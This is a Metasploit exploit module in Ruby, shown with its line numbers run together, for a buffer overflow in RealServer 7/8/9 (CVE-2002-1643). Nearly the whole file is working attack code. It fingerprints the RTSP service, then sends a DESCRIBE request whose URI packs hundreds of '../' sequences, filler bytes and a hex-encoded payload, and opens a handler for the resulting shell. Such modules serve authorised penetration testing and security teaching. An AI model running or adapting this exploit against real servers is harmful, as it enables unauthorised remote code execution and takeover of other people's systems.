Path: blob/master/modules/exploits/multi/realserver/describe.rb
32769 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'RealServer Describe Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow in RealServer 7/8/917and was based on Johnny Cyberpunk's THCrealbad exploit. This18code should reliably exploit Linux, BSD, and Windows-based19servers.20},21'Author' => 'hdm',22'References' => [23[ 'CVE', '2002-1643' ],24[ 'OSVDB', '4468']25],26'Privileged' => true,27'Payload' => {28'Space' => 2000,29'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d"30},31'Targets' => [32[33'Universal',34{35'Platform' => %w[bsd linux win]36},37],38],39'DisclosureDate' => '2002-12-20',40'DefaultTarget' => 0,41'Notes' => {42'Reliability' => UNKNOWN_RELIABILITY,43'Stability' => UNKNOWN_STABILITY,44'SideEffects' => UNKNOWN_SIDE_EFFECTS45}46)47)48end4950def check51res = send_request_raw(52{53'method' => 'OPTIONS',54'proto' => 'RTSP',55'version' => '1.0',56'uri' => '/'57}, 558)5960http_fingerprint({ response: res }) # check method / Custom server check61if res and res['Server']62vprint_status("Found RTSP: #{res['Server']}")63return Exploit::CheckCode::Detected64end65Exploit::CheckCode::Safe66end6768def exploit69print_status("RealServer universal exploit launched against #{rhost}")70print_status('Kill the master rmserver pid to prevent shell disconnect')7172encoded = Rex::Text.to_hex(payload.encoded, '%')7374send_request_raw({75'method' => 'DESCRIBE',76'proto' => 'RTSP',77'version' => '1.0',78'uri' => '/' + ('../' * 560) + "\xcc\xcc\x90\x90" + encoded + '.smi'79}, 5)8081handler82end83end848586